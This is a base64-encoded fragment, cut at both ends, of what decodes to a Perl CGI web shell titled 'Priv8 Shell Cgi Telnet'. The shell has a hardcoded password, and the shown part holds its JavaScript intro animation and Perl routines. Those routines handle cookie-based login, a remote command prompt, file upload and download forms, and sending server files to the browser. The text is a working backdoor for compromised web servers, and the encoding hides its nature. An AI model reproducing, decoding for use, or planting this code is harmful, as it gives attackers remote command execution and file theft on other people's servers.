B0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0t